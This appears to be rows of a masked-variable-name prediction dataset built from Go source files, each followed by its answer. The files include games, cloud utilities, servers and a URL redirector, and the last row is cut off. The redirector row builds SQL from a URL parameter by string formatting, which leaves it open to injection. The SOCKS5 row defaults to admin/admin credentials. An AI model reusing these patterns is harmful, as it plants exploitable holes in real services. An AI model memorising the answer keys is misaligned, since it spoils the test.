0,"package main import ( ""fmt"" ""github.com/nsf/termbox-go"" ""time"" ""strings"" ""math/rand"" ) var score = 0 var colon string = ` § ##§ § ##§ § ` var upArrow string = ` § - § /@\ § /@@@\ § /@@@@@\§ § § ` var downArrow string = ` § § \@@@@@/§ \@@@/ § \@/ § - § § ` var leftArrow string = ` § /@ § /@@@ § <@@@@@ § \@@@ § \@ § § ` var rightArrow string = ` § @\ § @@@\ § <@@@@> § @@@/ § @/ § § ` var zero string = ` ###### § # # § # # § # # § ###### § ` var one string = ` # § # § # § # § # § ` var two string = ` ###### § # § ###### § # § ###### § ` var three string = ` ###### § # § ### § # § ###### § ` var four string = ` # § # § # # § ###### § # § ` var five string = ` ###### § # § ###### § # § ###### § ` var six string = ` ###### § # § ###### § # # § ###### § ` var seven string = ` ###### § # § # § # § # § ` var height string = ` ###### § # # § ###### § # # § ###### § ` var nine string = ` ###### § # # § ###### § # § ###### § ` func printSymbol(x, y int, fg, bg termbox.Attribute, [MASK] string) { lx := -1 for _, c := range [MASK] { if c == '§' { y++ if lx != -1 { x = lx } else { lx = x } } else { termbox.SetCell(x, y, c, fg, bg) if lx == -1 { lx = x } x++ } } } func printBorders() { w, h := termbox.Size() for x := 0; x < w; x++ { for y := 0; y < h; y++ { if x == 0 || x == w-1 { printSymbol(x, y, termbox.ColorWhite, termbox.ColorDefault, ""#"") } else { if y > 0 && y < h-1 { printSymbol(x, y, termbox.ColorWhite, termbox.ColorDefault, "" "") } else { printSymbol(x, y, termbox.ColorWhite, termbox.ColorDefault, ""#"") } } } } } func printString(s string, c termbox.Attribute) { printBorders() //termbox.Clear(termbox.ColorDefault, termbox.ColorDefault) defer termbox.Flush() w, h := termbox.Size() s = fmt.Sprintf(""%s"", s) ds := strings.Split(s, ""§"") d := -1 for _, s := range ds { if len(s) > d { d = len(s) } } printSymbol((w/2)-(d/2), (h-strings.Count(s, ""§""))/2, c, termbox.ColorDefault, s) } func timer() { time.Sleep(1 * time.Second) printString(three, termbox.ColorRed) time.Sleep(1 * time.Second) printString(two, termbox.ColorRed) time.Sleep(1 * time.Second) printString(one, termbox.ColorRed) time.Sleep(1 * time.Second) } func random(min, max int) int { rand.Seed(time.Now().Unix()) return rand.Intn(max - min) + min } func arrows(arrow int) bool { switch arrow { case 0: printString(upArrow, termbox.ColorRed) case 1: printString(downArrow, termbox.ColorRed) case 2: printString(leftArrow, termbox.ColorRed) case 3: printString(rightArrow, termbox.ColorRed) } switch ev := termbox.PollEvent(); ev.Key { case termbox.KeyArrowUp: printString(upArrow, termbox.ColorGreen) time.Sleep(200 * time.Millisecond) return arrow == 0 case termbox.KeyArrowDown: printString(downArrow, termbox.ColorGreen) time.Sleep(200 * time.Millisecond) return arrow == 1 case termbox.KeyArrowLeft: printString(leftArrow, termbox.ColorGreen) time.Sleep(200 * time.Millisecond) return arrow == 2 case termbox.KeyArrowRight: printString(rightArrow, termbox.ColorGreen) time.Sleep(200 * time.Millisecond) return arrow == 3 default : return false } return false } func main() { err := termbox.Init() if err != nil { panic(err) } printString( ` WELCOME TO.... §` + ` ARROWS!!! §` + ` §` + ` There is only 1 rule: press what appears on the screen! §` + ` Suggestion: be as fast as possible and DON'T press random §` + ` §` + ` Commands: §` + ` ESC: anytime to exit game; §` + ` Char: any char that appears on the screen §` + ` §` + ` Press Ctrl+S when you are ready to start... §`, termbox.ColorYellow) termbox.SetInputMode(termbox.InputEsc) mainloop: for { //myrand := random(1, 9) switch ev := termbox.PollEvent(); ev.Key { case termbox.KeyCtrlS: timer() arrowloop: for { goon := arrows(random(0, 3)) if !goon { printString(fmt.Sprintf( `_______ _______ __ __ _______ _______ __ __ _______ ______§ | || _ || |_| || | | || | | || || _ | § | ___|| |_| || || ___| | _ || |_| || ___|| | || § | | __ | || || |___ | | | || || |___ | |_||_ § | || || || || ___| | |_| || || ___|| __ |§ | |_| || _ || ||_|| || |___ | | | | | |___ | | | |§ |_______||__| |__||_| |_||_______| |_______| |___| |_______||___| |_|§ |_______||__| |__||_| |_||_______| |_______| |___| |_______||___| |_|§ § YOUR FINAL SCORE: %d `, score), termbox.ColorRed) time.Sleep(3 * time.Second) printString( ` WELCOME TO.... §` + ` ARROWS!!! §` + ` §` + ` There is only 1 rule: press what appears on the screen! §` + ` Suggestion: be as fast as possible and DON'T press random §` + ` §` + ` Commands: §` + ` ESC: anytime to exit game; §` + ` Char: any char that appears on the screen §` + ` §` + ` Press Ctrl+S when you are ready to start... §`, termbox.ColorYellow) break arrowloop } else { score++ } fmt.Printf(""SCORE: %d"", score) } case termbox.KeyEsc: break mainloop } } termbox.Close() fmt.Println(""Finished!"") } ",msg 1,"package main import ( ""log"" ""os/exec"" ""regexp"" ""strconv"" ""github.com/bluele/slack"" ) const ( webhook = ""webHook"" ) func getTemp() float64 { reg, err := regexp.Compile(""[^0-9.]+"") if err != nil { log.Fatal(err) } output, execErr := exec.Command(""vcgencmd"", "" measure_temp"").Output() if execErr != nil { log.Fatal(err.Error()) } [MASK] := reg.ReplaceAllString(string(output[:]), """") f, _ := strconv.ParseFloat( [MASK] , 64) return f } func partialAlarm(t float64) { if (t >= 80.0) && (t <= 85.0) { hook := slack.NewWebHook(webhook) err := hook.PostMessage(&slack.WebHookPostPayload{ Text: ""Medium-High Temp Alarm on processor"", }) if err != nil { panic(err) } } } func fullAlarm(t float64) { if t > 85.0 { hook := slack.NewWebHook(webhook) err := hook.PostMessage(&slack.WebHookPostPayload{ Text: ""Medium-High Temp Alarm on processor"", }) if err != nil { panic(err) } } } func main() { output := getTemp() partialAlarm(output) fullAlarm(output) } ",tmp 2,"package natsio import ( ""encoding/json"" ""github.com/nats-io/nats.go"" ""{{ cookiecutter.go_module_path.strip() }}/internal/config"" ""github.com/rs/zerolog/log"" ""io"" ""os"" ""sync"" ""time"" ) type Nats struct { Conn *nats.Conn EncConn *nats.EncodedConn once sync.Once } func Encoder(v io.Reader, ptr interface{}) ([]byte, error) { d := json.NewDecoder(v) err := d.Decode(&ptr) if err != nil { return nil, err } out, err := json.Marshal(ptr) if err != nil { return nil, err } return out, nil } func Connect(name string) (*nats.Conn, error) { uri := config.AppConfig().Nats.URI opts := []nats.Option{nats.Name(name)} opts = setupConnOptions(opts) nc, err := nats.Connect( uri, opts..., ) if err != nil { return nil, err } return nc, nil } func EConnect(nc *nats.Conn) (*nats.EncodedConn, error) { ec, err := nats.NewEncodedConn(nc, nats.JSON_ENCODER) if err != nil { return nil, err } return ec, nil } func setupConnOptions(opts []nats.Option) []nats.Option { totalWait := 10 * time.Minute [MASK] := time.Second pingInterval := 20 * time.Second maxPingOutstanding := 5 timeout := 30 * time.Second opts = append(opts, nats.Timeout(timeout)) opts = append(opts, nats.PingInterval(pingInterval)) opts = append(opts, nats.MaxPingsOutstanding(maxPingOutstanding)) opts = append(opts, nats.ReconnectWait( [MASK] )) opts = append(opts, nats.MaxReconnects(int(totalWait/ [MASK] ))) opts = append(opts, nats.DisconnectErrHandler(func(nc *nats.Conn, err error) { log.Printf(""Disconnected due to: %s, will attempt reconnects for %.0fm"", err, totalWait.Minutes()) })) opts = append(opts, nats.ReconnectHandler(func(nc *nats.Conn) { log.Printf(""Reconnected [%s]"", nc.ConnectedUrl()) })) opts = append(opts, nats.ClosedHandler(func(nc *nats.Conn) { log.Error().Msgf(""Exiting: %v"", nc.LastError()) os.Exit(1) })) opts = append(opts, nats.DrainTimeout(10*time.Second)) return opts } ",reconnectDelay 3,"package main import ( ""bytes"" ""encoding/json"" ""flag"" ""fmt"" ""strings"" ""time"" ""github.com/aws/aws-lambda-go/lambda"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/awserr"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/s3"" ""github.com/aws/aws-sdk-go/service/s3/s3manager"" ""github.com/aws/aws-sdk-go/service/ses"" ""github.com/dghubble/go-twitter/twitter"" ""github.com/dghubble/oauth1"" ""github.com/peterbourgon/ff"" ) var ( // Configuration bucket, consumer_api_key, consumer_api_secret_key, access_token, access_token_secret, email *string sess = session.Must(session.NewSession()) ) // formatDate formats dates into a valid S3 key func formatDate(date time.Time) string { return fmt.Sprintf(""tweets/%d-%02d-%02d/tweets.json"", date.Year(), date.Month(), date.Day()) } // getTodaysKey returns a valid key name derived from the current date in UTC func getTodaysKey() string { return formatDate(time.Now().UTC()) } // getYesterdaysKey returns a valid key name derived from the previous day in UTC func getYesterdaysKey() string { return formatDate(time.Now().UTC().AddDate(0, 0, -1)) } // getStoredTweets retrieves stored tweets from a given key in the S3 bucket func getStoredTweets(key string) ([]twitter.Tweet, error) { svc := s3.New(sess) fmt.Printf(""Getting tweets from: s3://%s/%s\n"", *bucket, key) result, err := svc.GetObject(&s3.GetObjectInput{ Bucket: bucket, Key: aws.String(key), }) if err != nil { return nil, err } var tweets []twitter.Tweet err = json.NewDecoder(result.Body).Decode(&tweets) return tweets, err } // uploadTweets uploads tweets into S3 bucket at given key func uploadTweets(key string, tweets []twitter.Tweet) error { uploader := s3manager.NewUploader(sess) buf := bytes.NewBuffer([]byte{}) err := json.NewEncoder(buf).Encode(tweets) if err != nil { return err } fmt.Printf(""Uploading %d tweets to s3://%s/%s\n"", len(tweets), *bucket, key) _, err = uploader.Upload(&s3manager.UploadInput{ Bucket: bucket, Key: aws.String(key), Body: buf, }) if err != nil { return err } return nil } // getNewTweets retrieves tweets newer than sinceID using the Twitter API func getNewTweets(sinceID int64) ([]twitter.Tweet, error) { config := oauth1.NewConfig(*consumer_api_key, *consumer_api_secret_key) token := oauth1.NewToken(*access_token, *access_token_secret) // OAuth1 http.Client will automatically authorize Requests httpClient := config.Client(oauth1.NoContext, token) // Twitter client client := twitter.NewClient(httpClient) // Home Timeline homeTimelineParams := &twitter.HomeTimelineParams{ SinceID: sinceID, TweetMode: ""extended"", Count: 200, } tweets, _, err := client.Timelines.HomeTimeline(homeTimelineParams) if err != nil { return nil, err } fmt.Printf(""%d New Tweets Found\n"", len(tweets)) return tweets, nil } // TODO document this func fetchTweets() error { [MASK] := getTodaysKey() storedTweets, err := getStoredTweets( [MASK] ) var sinceID int64 if err != nil { if aerr, ok := err.(awserr.Error); ok { switch aerr.Code() { case s3.ErrCodeNoSuchKey: fmt.Printf(""%s not found. Trying to retrieve yesterday’s tweets\n"", [MASK] ) yesterday := getYesterdaysKey() storedTweets, err := getStoredTweets(yesterday) if err != nil { if aerr, ok := err.(awserr.Error); ok { switch aerr.Code() { case s3.ErrCodeNoSuchKey: fmt.Printf(""%s not found.\n"", yesterday) default: return aerr } } else { return err } } if len(storedTweets) > 0 { fmt.Println(""Emailing yesterday’s tweets"") err = emailTweets(storedTweets) if err != nil { return err } // Find last tweet from yesterday lastTweet := storedTweets[0] for _, tweet := range storedTweets { if tweet.ID > lastTweet.ID { lastTweet = tweet } } sinceID = lastTweet.ID storedTweets = []twitter.Tweet{lastTweet} fmt.Println(""Uploading last tweet from yesterday for tracking"") } else { fmt.Printf(""Uploading an empty array to %s\n"", [MASK] ) } err = uploadTweets( [MASK] , storedTweets) if err != nil { return err } default: return aerr } } else { return aerr } } else { fmt.Printf(""%d Older Tweets Found\n"", len(storedTweets)) for _, tweet := range storedTweets { if tweet.ID > sinceID { sinceID = tweet.ID } } } newTweets, err := getNewTweets(sinceID) if err != nil { return err } if len(newTweets) == 0 { // Nothing more to do return nil } tweets := append(newTweets, storedTweets...) return uploadTweets( [MASK] , tweets) } // emailTweets formats and emails tweets func emailTweets(tweets []twitter.Tweet) error { builder := strings.Builder{} for i := len(tweets) - 1; i > -1; i-- { tweet := tweets[i] builder.WriteString(fmt.Sprintf(""@%s: %s\nhttps://twitter.com/%s/status/%d\n\n--\n"", tweet.User.ScreenName, tweet.FullText, tweet.User.ScreenName, tweet.ID)) } svc := ses.New(session.Must(session.NewSession(&aws.Config{ Region: aws.String(""us-east-1"")}, // SES is only available in limited AWS regions, so we hardcode the region here. ))) // Assemble the email. input := &ses.SendEmailInput{ Destination: &ses.Destination{ CcAddresses: []*string{}, ToAddresses: []*string{ email, }, }, Message: &ses.Message{ Body: &ses.Body{ Text: &ses.Content{ Charset: aws.String(""UTF-8""), Data: aws.String(builder.String()), }, }, Subject: &ses.Content{ Charset: aws.String(""UTF-8""), Data: aws.String(fmt.Sprintf(""Tweets from the past 24h (%d)"", len(tweets))), }, }, Source: email, } // Attempt to send the email. _, err := svc.SendEmail(input) return err } // getConfig populates the config variables from a JSON file func getConfig() { fs := flag.NewFlagSet(""twitter-to-email"", flag.ExitOnError) bucket = fs.String(""bucket"", """", ""S3 Bucket"") consumer_api_key = fs.String(""consumer-api-key"", """", ""Twitter Consumer API Key"") consumer_api_secret_key = fs.String(""consumer-api-secret-key"", """", ""Twitter Consumer API Secret Key"") access_token = fs.String(""access-token"", """", ""Twitter Access token"") access_token_secret = fs.String(""access-token-secret"", """", ""Twitter Access token secret"") email = fs.String(""email"", """", ""Email"") ff.Parse(fs, []string{}, ff.WithConfigFile(""config.json""), ff.WithConfigFileParser(ff.JSONParser)) } func main() { getConfig() lambda.Start(fetchTweets) } ",today 4,"// Copyright (c) 2019, the Drone Plugins project authors. // Please see the AUTHORS file for details. All rights reserved. // Use of this source code is governed by an Apache 2.0 license that can be // found in the LICENSE file. package drone import ( ""encoding/json"" ""fmt"" ""os"" ""path/filepath"" ) // RegistryType is the type of registry type RegistryType string // Registries const const ( Docker RegistryType = ""Docker"" ECR RegistryType = ""ECR"" GCR RegistryType = ""GCR"" ACR RegistryType = ""ACR"" GAR RegistryType = ""GAR"" ) const ( dockerArtifactV1 string = ""docker/v1"" ) type ( // Image stores the image data Image struct { Image string `json:""image""` Digest string `json:""digest""` } // Data stores the registry data Data struct { RegistryType RegistryType `json:""registryType""` RegistryURL string `json:""registryUrl""` Images []Image `json:""images""` } // DockerArtifact is the current artifact DockerArtifact struct { Kind string `json:""kind""` Data Data `json:""data""` } ) // WritePluginArtifactFile writes the docker artifact data to the provided artifact file func WritePluginArtifactFile(registryType RegistryType, [MASK] , registryURL, imageName, digest string, tags []string) error { var images []Image for _, tag := range tags { images = append(images, Image{ Image: fmt.Sprintf(""%s:%s"", imageName, tag), Digest: digest, }) } data := Data{ RegistryType: registryType, RegistryURL: registryURL, Images: images, } dockerArtifact := DockerArtifact{ Kind: dockerArtifactV1, Data: data, } b, err := json.MarshalIndent(dockerArtifact, """", ""\t"") if err != nil { return fmt.Errorf(""failed with err %s to marshal output %+v"", err, dockerArtifact) } dir := filepath.Dir( [MASK] ) err = os.MkdirAll(dir, 0644) if err != nil { return fmt.Errorf(""failed with err %s to create %s directory for artifact file"", err, dir) } err = os.WriteFile( [MASK] , b, 0644) if err != nil { return fmt.Errorf(""failed to write artifact to artifact file %s"", [MASK] ) } return nil } ",artifactFilePath 5,"// Copyright 2020 arugal, // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""log"" ""os"" ""strconv"" ""time"" ""github.com/armon/go-socks5"" ""github.com/urfave/cli"" ) var ( cmdStart = cli.Command{ Name: ""start"", Usage: ""start socks5 server"", Flags: []cli.Flag{ cli.StringFlag{ Name: ""addr, a"", Usage: ""socks5 listens for addresses"", Required: false, EnvVar: ""SOCKS5_SERVER_ADDR"", Value: "":55055"", }, cli.StringFlag{ Name: ""username"", Usage: ""socks5 server username"", Required: false, Value: ""admin"", }, cli.StringFlag{ Name: ""password, pwd"", Usage: ""socks5 server password"", Required: false, Value: ""admin"", }, }, Action: func(ctx *cli.Context) error { addr := ctx.String(""addr"") username := ctx.String(""username"") password := ctx.String(""password"") creds := socks5.StaticCredentials{ username: password, } cator := socks5.UserPassAuthenticator{Credentials: creds} [MASK] := &socks5.Config{ AuthMethods: []socks5.Authenticator{cator}, } server, err := socks5.New( [MASK] ) if err != nil { return err } if err := server.ListenAndServe(""tcp"", addr); err != nil { return err } return nil }, } ) func main() { app := cli.NewApp() app.Name = ""socks5-server"" app.Usage = ""https://github.com/arugal/socks5-server"" app.Compiled = time.Now() app.Copyright = ""(c) "" + strconv.Itoa(time.Now().Year()) + "" arugal"" app.Description = ""Socks5 Server"" app.Commands = []cli.Command{ cmdStart, } err := app.Run(os.Args) if err != nil { log.Fatal(err) } } ",conf 6,"package main import ( ""database/sql"" ""fmt"" ""log"" ""net/http"" ""os"" ""github.com/gin-gonic/gin"" _ ""github.com/lib/pq"" ) type URL struct { Route string `json:""route""` URL string `json:""url""` } func main() { router := gin.Default() router.Use(allowCORS()) // Define a GET endpoint router.GET(""/health"", func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ ""redirector"": true, }) }) // Get a URL for a route router.GET(""/:route"", func(c *gin.Context) { route := ""/"" + c.Param(""route"") url := getURL(route) if url != """" { c.Redirect(http.StatusFound, url) return } c.JSON(http.StatusNotFound, gin.H{""message"": ""url not found""}) }) // Define a GET endpoint router.GET(""/"", func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ ""urlshortener-redirector (written in Go)"": ""v1.0.0"", }) }) // Start the server router.Run("":8080"") } func getURL( [MASK] string) string { connStr := ""user=shorties password= dbname=urls host="" + os.Getenv(""POSTGRES_SERVER"") + "" sslmode=disable"" db, err := sql.Open(""postgres"", connStr) if err != nil { log.Fatal(err) } defer db.Close() // Query for a single row query := fmt.Sprintf(""SELECT url FROM routes WHERE route = '%s'"", [MASK] ) fmt.Println(query) row := db.QueryRow(query) var url string err = row.Scan(&url) if err != nil { if err == sql.ErrNoRows { fmt.Println(""No rows were returned!"") } else { fmt.Println(""Error scanning row:"", err) } } return url } func allowCORS() gin.HandlerFunc { return func(c *gin.Context) { c.Writer.Header().Set(""Access-Control-Allow-Origin"", ""*"") c.Writer.Header().Set(""Access-Control-Allow-Methods"", ""GET, POST, PUT, DELETE"") c.Writer.Header().Set(""Access-Control-Allow-Headers"", ""Content-Type, Authorization"") if c.Request.Method == ""OPTIONS"" { c.AbortWithStatus(204) return } c.Next() } } ",routeId 7,"package main import ( ""strings"" ""github.com/larsve/aoc2023/tools"" ) const ( one = ""one"" two = ""two"" three = ""three"" four = ""four"" five = ""five"" six = ""six"" seven = ""seven"" eight = ""eight"" nine = ""nine"" ) var nbrs = [...]string{one, two, three, four, five, six, seven, eight, nine} // nbrsToi1 is small by relatively slow func nbrsToi1(s string) (rune, bool) { for i, n := range nbrs { if strings.HasPrefix(s, n) { return rune(i + 1), true } } return 0, false } // nbrsToi2 is pretty fast, pretty low cognitive complexity func nbrsToi2(s string) (rune, bool) { if len(s) < 3 { return 0, false } c := s[0] switch { case c == 'o' && strings.HasPrefix(s, one): return 1, true case c == 't' && strings.HasPrefix(s, two): return 2, true case c == 't' && strings.HasPrefix(s, three): return 3, true case c == 'f' && strings.HasPrefix(s, four): return 4, true case c == 'f' && strings.HasPrefix(s, five): return 5, true case c == 's' && strings.HasPrefix(s, six): return 6, true case c == 's' && strings.HasPrefix(s, seven): return 7, true case c == 'e' && strings.HasPrefix(s, eight): return 8, true case c == 'n' && strings.HasPrefix(s, nine): return 9, true default: return 0, false } } // nbrsToi3 is the fastest of these three, but have a higher cognitive complexity and many lines of code func nbrsToi3(s string) (rune, bool) { if len(s) < 3 { return 0, false } switch s[0] { case 'o': if strings.HasPrefix(s, one) { return 1, true } case 't': if strings.HasPrefix(s, two) { return 2, true } if strings.HasPrefix(s, three) { return 3, true } case 'f': if strings.HasPrefix(s, four) { return 4, true } if strings.HasPrefix(s, five) { return 5, true } case 's': if strings.HasPrefix(s, six) { return 6, true } if strings.HasPrefix(s, seven) { return 7, true } case 'e': if strings.HasPrefix(s, eight) { return 8, true } case 'n': if strings.HasPrefix(s, nine) { return 9, true } default: return 0, false } return 0, false } func calibrationValue( [MASK] *tools.LineReader) int64 { var cv int64 var first, last rune var firstOk, ok bool [MASK] .ForEach(func(s string) { firstOk = false for ofs, c := range s { if c >= '0' && c <= '9' { c = c - '0' } else { c, ok = nbrsToi3(s[ofs:]) if !ok { continue } } if !firstOk { first = c firstOk = true } last = c } cv += int64(first*10 + last) }) return cv } ",input 8,"// Package main provides the entry point for the application. It loads the configuration, initializes the server, and starts the server. package main import ( ""log"" ""lemma/internal/app"" ""lemma/internal/logging"" ) // @title Lemma API // @version 1.0 // @description This is the API for Lemma markdown note taking app. // @license.name Apache 2.0 // @license.url http://www.apache.org/licenses/LICENSE-2.0.html // @BasePath /api/v1 // @SecurityDefinitions.ApiKey CookieAuth // @In cookie // @Name access_token func main() { // Load configuration [MASK] , err := app.LoadConfig() if err != nil { log.Fatal(""Failed to load configuration:"", err) } // Setup logging logging.Setup( [MASK] .LogLevel) logging.Debug(""Configuration loaded"", ""config"", [MASK] .Redact()) // Initialize and start server options, err := app.DefaultOptions( [MASK] ) if err != nil { log.Fatal(""Failed to initialize server options:"", err) } server := app.NewServer(options) defer func() { if err := server.Close(); err != nil { logging.Error(""Failed to close server:"", err) } }() // Start server if err := server.Start(); err != nil { log.Fatal(""Server error:"", err) } } ",cfg 9,"package main import ( ""bufio"" ""fmt"" ""google.golang.org/api/youtube/v3"" ""log"" ""os"" ""strings"" ) func lookupChannel(service *youtube.Service, reader *bufio.Reader) Channel { title := quittingInput(reader, ""Enter channel title"") request := service.Search.List([]string{""snippet""}).Type(""channel"").MaxResults(10).Q(title) for true { result, err := request.Do() onError(err, fmt.Sprintf(""Could not search for channel '%s'"", title)) fmt.Println(""Please choose an option in []:"") options := make([]Channel, len(result.Items)) for i, item := range result.Items { options[i] = Channel{}.FromSearchSnippet(item.Snippet) description := """" if 0 != len(item.Snippet.Description) { description = fmt.Sprintf(""\t %s\n"", item.Snippet.Description) } fmt.Printf( ""\t[%2d] %s\n%s\t https://www.youtube.com/channel/%s\n"", i, options[i], description, options[i].Id, ) } if 0 != len(result.PrevPageToken) { fmt.Println(""\t[ p] Prev"") } if 0 != len(result.NextPageToken) { fmt.Println(""\t[ n] Next"") } option := quittingInput(reader, ""Option"") if ""n"" == option { if 0 != len(result.NextPageToken) { request = request.PageToken(result.NextPageToken) } else { log.Fatalln(""No next page available, bailing"") } } else if ""p"" == option { if 0 != len(result.PrevPageToken) { request = request.PageToken(result.PrevPageToken) } else { log.Fatalln(""No prev page available, bailing"") } } else { return options[atoi(option)] } } return Channel{} } func addChannels(service *youtube.Service, channels []Channel) []Channel { reader := bufio.NewReader(os.Stdin) option := ""y"" for ""y"" == option { result := lookupChannel(service, reader) isNew := true for _, channel := range channels { if result.Id == channel.Id { isNew = false break } } if isNew { channels = append(channels, result) } else { fmt.Printf(""Channel '%s' is already in your list\n"", result) } option = quittingInput(reader, ""Do you want to add more channels? [y]/n"") if 0 == len(option) { option = ""y"" } } return channels } func getChannelPlaylists(service *youtube.Service, channel Channel) []Playlist { listed := listPlaylists(service.Playlists.List([]string{""snippet""}).ChannelId(channel.Id)) playlists := make([]Playlist, 0, len(listed)) for _, playlist := range listed { playlists = append(playlists, playlist) } return playlists } func inspectChannel(service *youtube.Service, channel Channel) { fmt.Printf(""Channel %s:\n"", channel) playlists := getChannelPlaylists(service, channel) if 0 == len(playlists) { fmt.Println(""\t- No playlists"") return } for _, playlist := range playlists { fmt.Printf(""\t- %s\n\t https://www.youtube.com/playlist?list=%s\n"", playlist, playlist.Id) } } func inspectChannels(service *youtube.Service, channels []Channel) { reader := bufio.NewReader(os.Stdin) fmt.Println(""Which channel(s) do you want to inspect?"") for i, channel := range channels { fmt.Printf(""\t[%d] %s\n"", i, channel) } fmt.Println(""\t[*] All\n\tc,s,v accepted"") choice := quittingInput(reader, ""Option [*]"") if 0 == len(choice) { choice = ""*"" } var [MASK] []Channel if strings.Contains(choice, ""*"") { [MASK] = channels } else { inxs := strings.Split(choice, "","") [MASK] = make([]Channel, len(inxs)) for i, inx := range inxs { [MASK] [i] = channels[atoi(inx)] } } for _, channel := range [MASK] { inspectChannel(service, channel) } } ",choices 10,"package main import ( ""context"" ""flag"" ""fmt"" ""log"" ""os"" ""os/signal"" ""syscall"" ""time"" ""github.com/spf13/viper"" ""github.com/wureny/FluxGo/internal/gateway"" ""github.com/wureny/FluxGo/internal/limiter"" ""github.com/wureny/FluxGo/pkg/client"" ) var ( configFile string ) func init() { flag.StringVar(&configFile, ""config"", ""configs/config.yaml"", ""配置文件路径"") } // 配置结构体 type Config struct { Gateway struct { ListenAddr string `mapstructure:""listen_addr""` Targets map[string]string `mapstructure:""targets""` } `mapstructure:""gateway""` DefaultRules map[string]struct { Algorithm string `mapstructure:""algorithm""` WindowSize string `mapstructure:""window_size""` Limit int64 `mapstructure:""limit""` } `mapstructure:""default_rules""` } func main() { flag.Parse() // 加载配置 var config Config if err := loadConfig(configFile, &config); err != nil { log.Fatalf(""加载配置失败: %v"", err) } // 创建网关 gw, err := gateway.New(gateway.Config{ ListenAddr: config.Gateway.ListenAddr, Targets: config.Gateway.Targets, }) if err != nil { log.Fatalf(""创建网关失败: %v"", err) } // 启动网关 go func() { log.Printf(""启动网关,监听地址: %s"", config.Gateway.ListenAddr) if err := gw.Run(config.Gateway.ListenAddr); err != nil { log.Fatalf(""网关运行失败: %v"", err) } }() // 等待网关启动 time.Sleep(time.Second * 2) // 创建客户端用于设置默认规则 c := client.New(client.Config{ GatewayAddr: ""http://localhost"" + config.Gateway.ListenAddr, Timeout: 5 * time.Second, }) // 设置默认限流规则 for path, rule := range config.DefaultRules { windowSize, err := time.ParseDuration(rule.WindowSize) if err != nil { log.Fatalf(""解析窗口大小失败: path=%s, error=%v"", path, err) } // 添加重试逻辑 var setRuleErr error for i := 0; i < 3; i++ { // 最多重试3次 setRuleErr = c.SetRule(client.RuleConfig{ Path: path, Algorithm: limiter.Algorithm(rule.Algorithm), WindowSize: windowSize, Limit: rule.Limit, }) if setRuleErr == nil { break } time.Sleep(time.Second) // 重试前等待1秒 } if setRuleErr != nil { log.Fatalf(""设置默认规则失败: path=%s, error=%v"", path, err) } log.Printf(""设置默认规则: path=%s, algorithm=%s, window_size=%s, limit=%d"", path, rule.Algorithm, rule.WindowSize, rule.Limit) } // 优雅关闭 [MASK] , cancel := context.WithCancel(context.Background()) defer cancel() go func() { sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) <-sigCh log.Println(""收到关闭信号,开始优雅关闭..."") cancel() }() // 等待关闭信号 <- [MASK] .Done() // 关闭网关 if err := gw.Close(); err != nil { log.Printf(""关闭网关失败: %v"", err) } log.Println(""网关已关闭"") } // 加载配置文件 func loadConfig(file string, config interface{}) error { viper.SetConfigFile(file) if err := viper.ReadInConfig(); err != nil { return fmt.Errorf(""读取配置文件失败: %v"", err) } if err := viper.Unmarshal(config); err != nil { return fmt.Errorf(""解析配置失败: %v"", err) } return nil } ",ctx 11,"package door import ( ""strings"" ""github.com/golang/protobuf/proto"" ""github.com/gorilla/websocket"" ) // Context 内容. type Context struct { Method MethodEnum door *Door conn *websocket.Conn data []byte num uint32 filter int path string } // Execute 执行过滤器. func (context *Context) Execute(path string) error { i := 0 for _, filter := range context.door.filters { if strings.HasPrefix(path, filter.path) { if i == context.filter { context.filter++ context.path = path return filter.executer.Execute(context) } i++ } } return nil } // Next 下一个过滤器 func (context *Context) Next() error { return context.Execute(context.path) } // Pass 是否通过过滤器. func (context *Context) Pass() bool { i := 0 for _, filter := range context.door.filters { if strings.HasPrefix(context.path, filter.path) { i++ } } return context.filter == i } // Unmarshal 解码proto. func (context *Context) Unmarshal(pb proto.Message) error { return proto.Unmarshal(context.data, pb) } // Marshal 编码proto. func (context *Context) Marshal(pb proto.Message) (err error) { context.data, err = proto.Marshal(pb) return } // Num 当前Context的编号. func (context *Context) Num() uint32 { return context.num } // PutAttribute 设置属性. func (context *Context) PutAttribute(key string, value interface{}) { context.door.attributes[context.num].Put(key, value) } // GetAttribute 获取属性. func (context *Context) GetAttribute(key string) (value interface{}, ok bool) { value, ok = context.door.attributes[context.num].Get(key) return } // DelAttribut 删除属性. func (context *Context) DelAttribut(key string) { context.door.attributes[context.num].Remove(key) } // Numbers 全部客户端编号. func (context *Context) Numbers() (nums []uint32) { nums = make([]uint32, len(context.door.conns)) i := 0 for k := range context.door.conns { nums[i] = k i++ } return } // Send 发送对象. func (context *Context) Send(num uint32, pb proto.Message, method MethodEnum, paths ...string) error { if conn, ok := context.door.conns[num]; ok { return context.send(num, conn, pb, method, paths...) } return ErrorNotNum{Num: num} } // Revert 回复. func (context *Context) Revert(pb proto.Message, method MethodEnum, paths ...string) error { return context.send(context.num, context.conn, pb, method, paths...) } func (context *Context) send(num uint32, conn *websocket.Conn, pb proto.Message, method MethodEnum, paths ...string) error { event := &Event{ Method: method, Path: strings.Join(paths, ""/""), } if pb != nil { pbBytes, pbErr := proto.Marshal(pb) if pbErr != nil { return pbErr } event.Data = pbBytes } [MASK] , eventErr := proto.Marshal(event) if eventErr != nil { return eventErr } err := conn.WriteMessage(websocket.BinaryMessage, [MASK] ) if err != nil { context.door.Close(num) } return err } ",eventBytes 12,"// github.com/Guohuixixi/crawDemo/craw package craw import ( ""bufio"" ""fmt"" ""io"" ""io/ioutil"" ""net/http"" ""os"" ""path"" ""regexp"" ""strconv"" ""strings"" ""time"" ) var ( // 正则查找图片的地址 reImg = `http://i.52desktop.cn:81/upimg/allimg/[^""]+?(\.((jpg)|(png)|(jpeg)|(gif)|(bmp)))` ) // 读取链接中所有的内容 func GetPageStr(url string) (pageStr string) { resp, err := http.Get(url) if err != nil { fmt.Println(""http.Get error"", err) return } defer 